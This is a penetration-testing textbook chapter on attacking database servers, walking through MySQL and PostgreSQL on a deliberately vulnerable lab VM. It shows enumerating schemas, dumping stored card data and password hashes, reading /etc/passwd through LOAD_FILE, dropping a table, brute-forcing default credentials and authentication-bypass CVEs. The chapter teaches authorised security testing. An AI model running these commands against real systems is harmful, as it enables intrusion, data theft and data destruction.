Chapter 11
Databases

You are likely to encounter at least one instance of a database management system (DBMS) running on your client's internal network. A DBMS is the software that manages a database, and it allows other computer programs or users to interact with a database. There may be multiple hosts dedicated to this purpose, and there may be different types of databases for different elements of an organization's operations.

Often, databases on internal hosts will act as the backend data store for web applications and authentication. Often, they hold sensitive information, such as usernames, password hashes, payment details, blog posts, images, comments, and messages. Potentially, there can be millions of users or customers on such a system. Databases on an internal network will be connected to and queried by software, such as a web application or a virtual private network (VPN) server. As a general rule, they should not be directly accessible to members of the public.

In this chapter, we will give you a crash course in exploring and handling data in a database, which is integral to your understanding of certain attacks, such as Structured Query Language (SQL) injection, a type of injection attack that commonly affects web applications. We will cover some of the nuances of exploiting database systems in detail throughout this chapter.

Types of Databases


A database can be any structured way of storing data. This means a well-organized filing cabinet in an office could be considered a database, yet the term is usually reserved for electronically stored data. To begin, we will cover some essential terminology before moving on to database hacking activities.

Flat-File Databases

A flat-file database is one in which data is stored as rows of data that follow a uniform pattern in a file. The data is stored in a single file, such as a comma-separated values (CSV) file, for example. Each row may contain a single data record. Think of the /etc/passwd and /etc/shadow files. These are flat-file databases, with one record on each line. There is even a relationship between the data in each of those files, although these relationships are not defined by the flat-file database “system” itself. Filing cabinets, text files, and spreadsheets are not the kinds of databases we're looking at in this chapter, but it is important to be aware of this distinction.

Relational Databases

When people talk about databases, they are typically referring to something more advanced than flat files—that is, a relational database whereby a number of tables are used to store data records. Many of the stored tables have some relationship with one another. The tables in a relational database store data belonging to different entities. Your client may have an “online store” database containing “customers,” “orders,” “products,” and “payment” tables, for example. Each table will contain a number of records (or rows), stored in columns.

Columns in a table may contain almost anything you can imagine, from usernames and password hashes to images and binary large objects (blobs). A blob is the term given to binary data when it is stored inside a database column. It could be an image, audio file, or executable code, for example. Each table can be linked to others through the use of keys (which are unrelated to passwords). These keys are often integers (whole numbers as opposed to decimals or fractions).

A primary key is the term used for a key that uniquely identifies a record in a table. Imagine a table with thousands of products stored in it. Each product will have its own unique identifier—a primary key—so that it can be referenced by other tables. If these keys were not unique, it would cause confusion when trying to locate the products in the database. When a customer orders a product, a new entry in an “orders” table is created in our hypothetical database, which would include both the product's primary key and the customer's primary key, thereby creating a link between the three tables.

The concept of the relational database came about in a time when storage space and computer processing power could be acquired for a premium, affordable only by large corporations. Relational databases were meant for storing data with little (or zero) redundancy to reduce storage capacity, maximize data integrity, and improve the speed of querying tables containing vast numbers of records, hence the use of keys. Popular relational database management systems (RDBMSs), according to db-engines.com/en/ranking, include the following:

  • Oracle Database
  • MySQL
  • Microsoft SQL
  • PostgreSQL
  • IBM's Db2
  • Microsoft Access
  • SQLite
  • MariaDB

You'll also find newer cloud offerings from Amazon and Google as well as databases with fewer features like SQLite. You may recall SQLite used with Recon-ng from Chapter 4, “Open Source Intelligence Gathering.” It is a popular lightweight and portable RDBMS. It is also widely used in mobile applications and devices.

RDBMSs use their own languages called structured query language (SQL) for querying and manipulating the data contained within the databases. We will be giving you a primer on SQL usage later in this chapter. Despite first rising to popularity in the 1980s, relational databases remain one of the main ways that applications implement data storage, and they will be the focus of this chapter.

An RDBMS uses a database schema to describe the structure of its databases. It contains information about tables, columns in those tables, relationships between tables, and so on. A schema is the database's metadata. It describes how data is stored in the database. There are ways to extract this metadata without having direct access to the database software, such as when performing a SQL injection attack. Once you have learned the schema, it will allow you to obtain potentially sensitive data from the database itself, as you will be able to locate information easily within tables of interest to an attacker.

A DBMS, whether relational or not, tends to have its own internal permission system, which is separate from the file permission system used by the host Operating System (OS). This allows different users to be set up on a database and only be given permission to view, edit, add, or remove a particular subset of the database. These permissions can easily be misconfigured, so you should be on the lookout for opportunities to abuse misconfigured database accounts. Finding and using different usernames and passwords in a brute-force attack is a perfectly viable method of hacking initial access to a database. However, this is just the beginning of the intricacies of database hacking.

Nonrelational Databases

Another common type of database is the NoSQL database. NoSQL refers to the fact that these are not relational databases. Non-SQL or nonrelational databases, as they are also known, have a number of different methods for storing their data, such as document-based storage. XML, YAML (which stands for YAML ain't markup language and is similar to yet simpler syntactically than XML), and JSON documents may be used for data storage, for example. Document-based storage should not be confused with flat-file databases, however, as they are fundamentally different. An XML document, for instance, can contain a number of different tags, with more tags nested within these, and then data is stored within pairs of tags. This makes such files much more flexible than simple CSV or tab-separated files. Sometimes, NoSQL databases will use the host machine's main memory for storing data, rather than disk or Solid State Drive (SSD) storage, which makes for incredibly fast lookups. There is little concern about storage capacity and search optimization with NoSQL, since modern systems can easily handle large amounts of memory.

Perhaps an unintended quirk of many NoSQL databases is that they often present no authentication when you encounter them. Therefore, you can also think of NoSQL as “No Authentication” (NoAuth) databases. NoSQL can also indicate “not only SQL,” since some NoSQL databases will support alternate SQL-like queries as a means to access their data.

Some common NoSQL DBMS include the following:

Structured Query Language


SQL, pronounced “sequel,” is a commonly used language for querying and manipulating data within a relational database. It can be used to create or define data structures within a database, manage permissions of database users, delete and insert records, and even define and carry out functions on data.

SQL is an American National Standards Institute (ANSI) and International Standard for Organization (ISO) standard. SQL was introduced in the late 1980s and rose to popularity. SQL is still very much in use today by almost any relational database you're likely to come across, although you will see different variations among implementations.

SQL is not the only language when it comes to relational databases, but it is by far the most common. It is highly recommended that you learn the basics of SQL, as this will assist you in the upcoming examples, and it is an absolute requirement for modern hacking activities due to its prevalence in the data storage world.

We will provide a basic SQL primer here. Nonetheless, practice does make perfect, and we recommend that you experiment with databases beyond the examples provided in this book. Setting up your own databases, populating them with records, and querying them from the command line using SQL will prove to be an invaluable experience if you're not already familiar with doing such activities. The primer we provide can be greatly expanded upon, and we suggest that you get comfortable with searching data in databases as much as possible. As a hacker, you will confront some limited access to a database or the ability to inject into a backend database of some kind. Knowing how to navigate such systems will provide you with many fruitful results throughout your career.

When performing a penetration test for a client, you should be on the lookout for places where you can inject your own SQL statements to cause a DBMS to act outside of its designed parameters. This type of attack, SQL injection, is well-known and regularly used to cause databases to spill out their data to unauthorized users. It is usually carried out via a vulnerable web application, which is querying information from a database. It is an attack that we will cover in Chapter 12, “Web Applications.” It is possible for a person with little to no experience in hacking to impact large organizations by running tools such as SQLmap, which automatically exploits SQL injection vulnerabilities. While you could get by using such tools as a penetration tester, understanding the basics of SQL and how to use it will vastly improve your ability to exploit such vulnerabilities.

User-Defined Functions


Many DBMSs offer predefined functions, much like programming language APIs, which allow the user to manipulate data in certain ways. Like a programming language, it is also possible to define your own functions for use with databases. These are known as user-defined functions (UDF). If you are able to obtain access to a database, you may be able to define your own functions that you can use to help you escalate privileges or escape to the underlying operating system. We will demonstrate how you might upload a shared object to a server and then use it to create a UDF that might allow you to escalate privileges under certain conditions.

The Database Hacker's Toolbox


You will find that having various database command-line clients installed on your Kali Linux machine is necessary if you're going to be hacking databases. You could use some Graphical User Interface (GUI) clients too, such as SQL, and you may want to install a tool such as Microsoft SQL Management Studio if you target Microsoft databases. As a rule of thumb, you will want several database clients installed for the more common systems out there, such as PostgreSQL and MySQL. You could also use a multipurpose SQL tool, but these tools are not explored in this book. You should also make use of common hacking tools such as Nmap, Netcat, Searchsploit, and Metasploit.

You will also find it useful to set up your own databases to practice with and learn about the nuances of each DBMS. When working for a client, having a Virtual Machine (VM) ready with an installed DBMS that matches your client's is exceptionally handy, especially if you build complicated queries and are unsure as to why they are not working. It is much easier to debug errors in your database query locally than on a remote server to which you have gained limited access. If you're testing a production environment, where real data is at stake, you can also run any exploits on your own version of the database first to avoid costly mistakes! Always discuss with your client first any potential activity that you intend to perform that can impact their database before execution. Our book lab provides several preconfigured databases for you to hack on.

Common Database Exploitation


These are some common approaches or steps to take when faced with a database:

  1. Find a way to access the database and the data it holds.
  2. Enumerate the schema and learn the structure of the database.
  3. Access the database and search for any useful information.
  4. Review any permissions or security controls on the database.
  5. Attempt to gain database administrator (DBA) rights if you do not already have them.
  6. Attempt to access the underlying OS and its file system.
  7. Attempt to exploit UDFs to run your own code.
  8. Attempt to escape the database and attack the host OS; escalate privileges.

Attacking the host OS and escalating privileges should be familiar to you by now. You would use the same approach that you took after gaining access to the operating system through command injection or via other techniques shown thus far. With databases, however, there are some additional hurdles to conquer to gain access to the host—you effectively need to break out of the database and into its host operating system. This can often be done using UDFs and stored procedures. Stored procedures work in a similar way to UDFs, but they are potentially more useful since they can already modify data within a database and execute other functions, including those already built into the RDBMS and UDFs. They are usually invoked with a special SQL statement: CALL. You can frequently use UDFs to run code on the underlying OS, depending on the privileges that you obtain, and exploit stored procedures for possible privilege escalation routes inside the database.

Port Scanning a Database Server


Here is an extract from an advanced Nmap port scan of a vulnerable database VM running several database services:

PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.0.51a-24+lenny2
5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3
6379/tcp open redis Redis key-value store
27017/tcp open mongodb MongoDB 2.0.2
28017/tcp open http MongoDB http console

You will not see this many different types of databases running on the same server often, although it is common for certain combinations to be run together. You may not have the opportunity to port scan a database server directly when working for a client due to firewalls and network segregation, yet there will often be at least one of them working away in the background. In those cases, you'll need to use other methods, rather than simply scanning a host, to obtain useful information about the software. We've already covered some of these methods (such as using a web proxy or gathering information via Open Source Intelligence (OSINT)), but we'll explore how to do this further via SQL injection in the next chapter. If you're tasked with scanning hosts on an internal network, then you'll almost certainly see database services of some type.

Even though you're within the target company's internal network, you may still come across firewalls or some form of network segmentation. Since databases are often used for tasks such as payroll, they typically are additionally hardened against internal access by malicious insiders. Any responsible company is going to take measures to protect the hosts containing databases—even from their own staff. You may find that database servers reside on their own virtual LAN (VLAN), for instance, or they are behind firewall layers that permit access to only a limited number of hosts and servers.

You will find that the accompanying book lab has both MySQL and PostgreSQL daemons running alongside other NoSQL services.

MySQL


MySQL (www.mysql.com) is a popular, open source RDBMS. It is owned by Oracle, and it is available in commercial and free versions. By default, a MySQL database running on a server will be listening on TCP port 3306 for incoming connections. Like a lot of software, it can leak its version information within the welcoming banner, and out-of-date versions are likely to contain known vulnerabilities. MySQL has its own root user account, which should not be confused with the root user on UNIX-like systems. MySQL instances used to be set up (by default) to allow access as the MySQL root user (sometimes without needing a password), which was a widespread problem. Compromising the root account would mean full access to the entire database. Checking to see whether this is possible is important and should always be performed. MySQL databases may permit certain users to read and write files to the host operating system using built-in functions, such as LOAD_FILE, and using queries such as SELECT * FROM <TableName> INTO DUMPFILE ‘ <FileName> '; where DUMPFILE is another function for writing to files. MySQL is widely used by online services, and it is one of the most common database software types that you will encounter.

Exploring a MySQL Database

We're going to make life a little easier for you than you may have been expecting. We will give you the password to the MySQL database running on the book lab. In reality, you're going to need to look for this, or brute-force it, or bypass authentication altogether. For now, however, we want to explain some basics and get you used to manipulating a MySQL database as though you were an actual system admin. Think of this as a crash course in SQL. True, a password like this may have been left in the source code of a web page, as a comment, or in a text file somewhere. The intention may have been to remove this, but often applications are pushed quickly from the development stage into production, with unresolved errors and omissions. So, just this once, we'll pretend that you obtained the password through some other means.

If you port scan TCP port 3306 of the book lab with Nmap and enable the -A option, you'll see some useful information, as shown here:

3306/tcp open mysql syn-ack MySQL 5.0.51a-24+lenny2
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-24+lenny2
| Thread ID: 38
| Capabilities flags: 43564
| Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, LongColumnFlag, SwitchToSSLAfterHandshake, ConnectWithDatabase, SupportsCompression
| Status: Autocommit
|_ Salt: @n({ToV>rGIw<deP=~(G

Here you can see some MySQL-specific information under mysql-info, provided by the mysql-info.nse Nmap script. It appears that the service is using version 10 of the MySQL protocol, which is different from the version number of the software. The software version is 5.0.51a-24+lenny2, which also tells you that the underlying operating system of this host is Debian. (Lenny is the code name for version 5 of Debian.) At the bottom of this block of information, you can see Salt: @n({ToV>rGIw<deP=~(G, which is a pseudorandom string of characters used for hashing passwords. Salt: will be different on each new connection to the database. There is also other information that tells you what capabilities the service supports, such as encryption using SSL. You can gather some of this same information using Netcat. The following is the result of connecting with Netcat to TCP port 3306. You can see the same version string reported by Nmap, immediately followed by a new Salt: value.

?
5.0.51a-24+lenny2'<tS%#5~,?[1|CuGCVi/I

You should attempt to connect to MySQL databases with a MySQL client. You will often need to install one onto a Linux distribution (though it is included in Kali). You can connect to a MySQL service with the mysql -h <TargetIP> command, which will attempt to log in to the database as the same user you are currently logged in as locally. In other words, if you're running this command as the root user from your Kali Linux VM, it will attempt to log in as root, with no password. This will typically present you with a message similar to the following:

ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.1' (using password: NO)

To supply a password for the user, you will need to instruct MySQL to prompt for one (or supply it on the command line, which is not a recommended practice as it can expose the password to other processes). To provide a password, use the -p option. You will then be prompted for a password, as shown here:

Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.56.1' (using password: YES)

The MySQL root user account is often not configured to lock itself after too many incorrect passwords have been supplied, so it can be brute-forced. You may not know whether the account has lockout disabled, or it may present an error, so when working for a client, you will want to be careful about this approach, as with any brute-force attack. If you are targeting a database that is part of your client's production environment and you disable the account (whether inadvertently or otherwise), then it could be seen as a form of denial-of-service attack, and doing this should be avoided wherever possible. (An apology, too, would certainly be proper under such circumstances. If your client is paying close attention to their internal network, then they may well be in touch with you before you have chance to prepare your apology!)

Remember that running brute-force attacks carries the risk that you can cause accounts to be disabled, so use such methods sparingly and in situations where the impact is limited. Brute-force on a root user of a MySQL database will rarely result in the account being disabled. When it is disabled, though, the database will often inform you that it has been disabled, making detection of the condition easier for hackers.

You can log on to the book lab's MySQL database as the root user with the password sneaky. Upon successful login, you'll see something like the following message, ending with a mysql> prompt:

Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 47
Server version: 5.0.51a-24+lenny2 (Debian)
 
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
 
mysql>

Whenever you enter a SQL statement, make sure that you end the statement with a semicolon ( ;). This is not a quirk of the MySQL client program that you're using; it is a termination character to instruct SQL that you have finished entering your statement, a fundamental aspect of the SQL language. The same character is also used to terminate statements and functions in programming languages like C and Pascal. If you (inevitably) forget to end your statement correctly, you'll see that the client presents a new line for you to continue. Simply enter the semicolon there instead and press Enter. Eventually, you'll get used to this behavior. Once you have logged in to a MySQL database, you'll actually find that there is more than one database on the server, and you will then need to choose which database you will abuse. To begin, use the show databases; command, remembering to terminate the line with a semicolon ( ;).

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| merchant |
| mysql |
+--------------------+
3 rows in set (0.00 sec)

In the previous output, you can see three databases. Two of these are system databases created by MySQL. Sometimes, you will access a MySQL instance and not know anything about its internal structure. In these cases, where you have limited access to the data, you will need to learn about the structure of the database first. You can achieve this by querying MySQL's system databases— in particular the information schema, which contains the database schema discussed earlier. Once you have discovered the names of tables and the number of columns in these tables, you can start to extract meaningful and potentially sensitive information.

Use use mysql to select and begin interacting with the mysql database. You'll see a short message like this:

Database changed

You can display the tables within the currently selected database with the show tables; command, which results in the following:

mysql> show tables;
+---------------------------+
| Tables_in_mysql |
+---------------------------+
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------+
23 rows in set (0.00 sec)

You will find similar tables in any MySQL mysql database. These tables contain global settings relating to the MySQL server instance. The information_schema database, on the other hand, contains data relating to other databases on this server—their tables, columns, and other metadata. One place that you could visit for up-to-date information about these system databases (for various versions) is the MySQL reference manual at dev.mysql.com/doc. You can use the information_schema database by using use information_schema and then using the show tables command. Here we have the tables within the information_schema database:

mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
17 rows in set (0.00 sec)

If you did not have root access to the database and you did not know about its internal schema—the names of tables, for instance—you could query the information schema (whose table names and columns are known) to learn them. For example, the names of all tables in the MySQL instance can be displayed using select TABLE_NAME from TABLES;, which will return the names of all tables in the information_schema, merchant, and mysql subdatabases, as shown here:

mysql> select TABLE_NAME from TABLES;
+---------------------------------------+
| TABLE_NAME |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| connection |
| orders |
| payment |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| user |
+---------------------------------------+
43 rows in set (0.00 sec)

Tables with capitalized names are part of the information_schema database, and all the tables from COLUMN_PRIVILEGES to user are part of the mysql database queried earlier. The remaining tables must be part of the merchant database, which is a user-defined database where some interesting and possibly sensitive information might exist.

Switch to the merchant database with the use command, and then use show to list that database's tables. You should see the following output:

mysql> show tables;
+--------------------+
| Tables_in_merchant |
+--------------------+
| connection |
| orders |
| payment |
+--------------------+
3 rows in set (0.00 sec)

This is an example of something that you might see inside the database of a business that accepts online payments. You can use the describe command to show the structure of a table—for example, describe connection;, which will output something similar to the following:

mysql> describe connection;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| type | varchar(30) | NO | | NULL | |
| connection | varchar(255) | NO | | NULL | |
| username | varchar(255) | NO | | NULL | |
| password | varchar(255) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
5 rows in set (0.00 sec)

Here, you can see that there are five columns in this table, listed under the Field heading. You can see the data type of each column (under Type) and the maximum size of the column. For example, the id column is of the type mediumint and has a maximum size of 9. Ints, mediumints, and longints all refer to integer data types (whole numbers, and not decimals) with different maximum and minimum values. Ints are a common data type, as is varchar, which stands for variable characters, or a string of characters, where the size of the data in memory or on disk is not fixed but variable, and thus makes efficient use of storage capacity. The Null column shows whether a field is allowed to contain a null value (the absence of anything) or not. These are all set to NO, so each field must contain some data. The Key column shows which columns, if any, have been designated a key. PRI is short for primary—the id field is the primary key for this table. The primary key must be unique for each record in the table, and it is often set to increment automatically (true in the example). You can see auto_increment in the Extra column. The Default column tells you what, if any, the default value for new records will be. In this case, they are all NULL, which combined with a NO in the Null column means that any new record added must have all columns specified—that is, nothing can be left empty.

You can view all of the records in the connection table as follows. Note that you do not have to use uppercase for SQL keywords, and that an asterisk ( *) in SQL represents a wildcard. This means that it matches all values.

SELECT * FROM connection;
mysql> select * from connection;
+----+-------+------------+----------+----------+
| id | type | connection | username | password |
+----+-------+------------+----------+----------+
| 1 | redis | 127.0.0.1 | none | redis |
+----+-------+------------+----------+----------+
1 row in set (0.00 sec)

This table represents the storing of details regarding another database on the same server. You might see something similar to this in the real world—configuration information and settings are often stored in databases, and this can include credentials. Redis is another type of database that you will see more of later in this chapter. Note that the username has been set to none, which is not the same as a null value. Take a look at the orders table next:

 mysql> describe orders;
+-------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| productcode | varchar(10) | NO | | NULL | |
+-------------+--------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

Based on the description of this table, it doesn't look like it will contain any sensitive data. Let's look next at the payment table. Here are the payment table's columns:

mysql> describe payment;
+------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| firstname | varchar(40) | NO | | NULL | |
| lastname | varchar(40) | NO | | NULL | |
| address | varchar(512) | NO | | NULL | |
| cardtype | varchar(40) | NO | | NULL | |
| cardnumber | varchar(20) | NO | | NULL | |
| expiry | varchar(4) | NO | | NULL | |
+------------+--------------+------+-----+---------+----------------+
7 rows in set (0.00 sec)

Take a look at the contents of that table, and you'll see an example of sensitive information in the form of names, physical addresses, and credit card numbers. If you had been able to access this database remotely when working for a client and without being supplied any credentials, your client would have a serious problem on their hands.

The credit card numbers in this example table have been stored as plaintext, which is extremely dangerous and negligent on the part of the owner of the system. If you come across a situation like this in the real world, you should inform your client immediately, who would most likely be facing a fine for breaching compliance regulations. There are likely to be legal implications as well. It would be important for you to inform your client and work with them to resolve this issue. However, reporting them to a regulation authority or other body would not be considered appropriate. Your duty of care, that is, your legal obligation depending on the contract you have in place with your client, is to inform the system owner and assist them in protecting the data. A situation such as this must be handled with exceptional ethics. The system owner has requested that you perform the assessment and perhaps was unaware of the information being stored in this way. As such, you should work with your client in resolving the matter. It would be entirely unethical for you to begin contacting people in the database to let them know of the leak or to disclose the matter publicly when you have been tasked with conducting a security review.

We hope that you never come across a situation like this in the real world. Sadly, however, it happens and is likely continue to happen in the future! If you do come across a table in a database like this to which you are able to gain access during a penetration test for a client, first you have a responsibility to let that company know what you've found and the severity of the finding. It should be done as a matter of priority and with the urgency that you would expect when dealing with a sensitive security matter.

A malicious hacker would sell information like this on the black market or use it to engage in fraud. They certainly would take a copy of the data and may even delete the original data, leaving a ransom note behind. Deleting the data can be done easily using the command drop table payment;. Try it to see the results for yourself, and then use Reset from VirtualBox's Machine menu to restart the VM on which you are running the book lab. As the book lab is a live CD, it will revert to its original state, and the data in the database will be repopulated.

When using the show tables command from a MySQL client, the client is actually querying the information_schema table to find out what tables the database contains. show tables isn't a SQL command—it's a command that is built into the client. Unfortunately, you cannot “inject” a show tables command into a buggy website to reveal a database's inner workings. Such commands only work directly within a MySQL client and are not SQL statements themselves. Under the hood, they query the database using SQL. It's just an abbreviated command mnemonic written in a way to make life easier for the legitimate DBA. However, as you'll see later in this chapter, there is a way to reveal tables for the illegitimate administrator (or hacker) through SQL statements, which is just as straightforward once you know how to do it.

As previously mentioned, MySQL has its own users, including a root user. To view these users and their password hashes, you can try using this SQL statement: select User,Password from mysql.user;. This will work against the book lab's MySQL instance and output results similar to the following:

mysql> select User,Password from mysql.user;
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
| debian-sys-maint | *02B9399FC6A06E4D09A609700C0B259750F352BA |
| root | *FE68E6FDAF9B3EA41002EF1E28BE4A6EAF3A1158 |
+------------------+-------------------------------------------+
5 rows in set (0.01 sec)

In the previous query example, mysql.user was used to reference the user table in the mysql database without switching to the database first. If you can find a way to run this SQL statement, be it in a web application or through misuse of an application form, your client has a serious problem and you can begin work on cracking any hashes that you've found.

MySQL has a number of built-in functions that you can use to obtain useful information about the database itself. For example, SELECT @@VERSION; returns version information as follows:

mysql> SELECT @@VERSION;
+-------------------+
| @@VERSION |
+-------------------+
| 5.0.51a-24+lenny2 |
+-------------------+
1 row in set (0.01 sec)

Running a SQL statement containing the @@VERSION variable is a great way to ascertain a MySQL database version number if you cannot access its ports directly. The @@VERSION function is not part of the MySQL client software—it is part of the MySQL SQL implementation, so you can be confident that it will help identify the version if you're able to access it.

Another function built into MySQL's SQL implementation is the load_file function, which you could try to use to access files. As an example, we will use it to access the /etc/passwd file on the underlying host.

First, create a new table in the merchant database called passwd with a single field (also called passwd in our example) of type text. The actual table and column names you use are not important: CREATE TABLE merchant.passwd (passwd text);. If you describe this table now, you should see the following:

+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| passwd | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

Next, insert a new record into this table whose only value will be the contents of the /etc/passwd file loaded using the LOAD_FILE function.

INSERT INTO merchant.passwd VALUES (load_file('/etc/passwd'));

You should now run a SELECT * statement on the table and view its contents. You should be presented with the host's passwd file. Why not try the same approach with the /etc/shadow file? On this host, that will not work. Do you know why not? It's because the MySQL software is typically not running with full root privileges, and it often is running as a lower-privileged user on the host, so it cannot do all of the things that a root user can do. This is the case even if you logged into the MySQL database as the root user, as this user is different from the host root user. Confused? This is a common pitfall to get past. Remember that databases have their own users and permission models, which are separate but still bound to the limitations of the host OS permissions.

This file reading functionality can be extremely dangerous for your client if enabled and accessible. If you obtain such an ability, you will try to read files like /etc/passwd and /etc/shadow to see whether you can obtain usernames and password hashes. Of course, you shouldn't be able to see these, but you just might on a misconfigured system. It is also possible to write files to the host OS using SQL statements, and this can give you a foothold on the server and the ability to escalate privileges using the methods we've already seen and used.

Although you are logged in to this MySQL database as the MySQL root user, the instance or service is not currently running with the permissions of the Linux root user. That is why you will not be able to read the /etc/shadow file. A MySQL instance should never be run as the root user. Typically, it will be run as a dedicated mysql or nobody Linux user.

MySQL Authentication

If you come across a MySQL database running on a host but you are unable to gain immediate access, then you should check to see whether there are any known vulnerabilities. It is possible to bypass authentication altogether in several earlier versions of the software.

Gaining some form of access to a database is your first objective, but this doesn't necessarily mean by using a valid username and password combination. MySQL has a number of historical authentication bypass issues whereby the entire authentication mechanism can be sidestepped completely. Take CVE-2012-2122, for example, which is a vulnerability that affects certain versions of Oracle MySQL and MariaDB (which is based on MySQL) between versions 5.1.x and 5.6.6. It allows a user to authenticate by attempting to login (with a legitimate username and any incorrect password) 256 times in a row. On the 256th attempt, the user is logged in, regardless of the password used. This worked only where the RDBMS was compiled in a certain way, as the vulnerability was the result of a compiler optimization. It “improved” the programmers' code in a way that resulted in the bypass being introduced when compiling it to executable code.

CVE-2004-0627 is a null password vulnerability that affected MySQL versions 4.1 through 5.0. This particular issue was discovered by NGS Security, and it allows an attacker with a specially patched MySQL client to supply an empty or null password. This had the unintended consequence of bypassing the password process completely and allowing the user remote access to a MySQL database. This critical vulnerability was widely exploited at the time, and it allowed anyone to simply bypass and access MySQL databases without permission.

CVE-2009-4484 is a vulnerability that affected MySQL, first discovered in version 5.0.51a. The exploit was authored by Joshua Drake, a legendary name in the exploitation game, who is responsible for developing several highly reliable remote exploits in server software. One way to exploit this vulnerability is with the Metasploit module, mysql_yassl_getname, which specifically targets the same MySQL and host operating system (Debian Lenny) combination running on our vulnerable server. The exploit works only under certain conditions but without the need for database credentials. This is what is known as a pre-authentication exploit, and it is a highly sought-after resource for any attacker. Once exploited, the vulnerability gives you a shell on the host OS. The vulnerability exists in yaSSL, an open source implementation of SSL/TLS (like OpenSSL), which is used by some versions of MySQL. MySQL uses SSL/TLS to encrypt its connections, just like many other services that send and receive data. In particular versions of yaSSL, it is possible to trigger a buffer overflow vulnerability that allows arbitrary code to be executed. You can find out more about the exploit by consulting the Metasploit module's info page.

PostgreSQL


PostgreSQL is an open source RDBMS, typically running on TCP ports 5432 or 5433. It is also used by Metasploit. In fact, you may have already been using PostgreSQL without realizing it. If that is the case, you may see it running on your Kali Linux VM. PostgreSQL is similar to MySQL but different enough to be frustrating when you're not used to it. PostgreSQL also allows users to read and write files to the host operating system, a UDF must be used to carry out this task.

PostgreSQL does not have a root user account or any defaults—its typical equivalent is the psql or postgres user. This may be using a bad default password such as psql or postgres! As there are no default accounts supplied in PostgreSQL, many people initially configure such simple examples with the intention of changing it later in the install process and simply forget about it. It's so commonly done that Metasploit even has a module for exploiting connections configured in this way.

Our earlier port scan results showed the following information regarding PostgreSQL:

5433/tcp open postgresql PostgreSQL DB 9.1.2 - 9.1.3

You can connect to this port with Netcat to perform a banner grab, and, as with MySQL, you can try to use the PostgreSQL client Psql (installed with apt install postgresql-client-common). Once installed, you can connect to a PostgreSQL service using the following command:

psql -h <TargetIP> -p <Port> -U <UserName>

We've already given you two potential usernames and passwords that you can try in order to access this service. You could also attempt to use a brute-force tool like Hydra against this service, as account lockouts are typically set manually by users on PostgreSQL and it's likely that none has been set. Assuming that you correctly guess the password to one or more accounts, you'll be greeted with a prompt similar to the following:

Password for user postgres:
psql (11.3 (Debian 11.3-1), server 9.1.2)
Type "help" for help.
 
postgres=#

PostgreSQL databases are often misconfigured and left with insecure usernames and passwords. We want to highlight this particular mistake in our vulnerable instance. Hacker House has come across this in the real world on several occasions. We have also found PostgreSQL credentials in configuration files that were inadvertently left exposed.

Although PostgreSQL uses SQL for queries, the client has its own set of commands that are far from intuitive. Whereas the MySQL client uses command mnemonics like use and show tables, Psql uses combinations of backslashes and single letters to issue commands. These commands can be listed with the ? help command. We will show you a few example common commands now. l will list the databases available to you.

postgres=# l
 List of databases
 Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+-----------+---------+-------+-----------------------
 merchant | postgres | SQL_ASCII | C | C |
 postgres | postgres | SQL_ASCII | C | C |
 template0 | postgres | SQL_ASCII | C | C | =c/postgres +
 | | | | | postgres=CTc/postgres
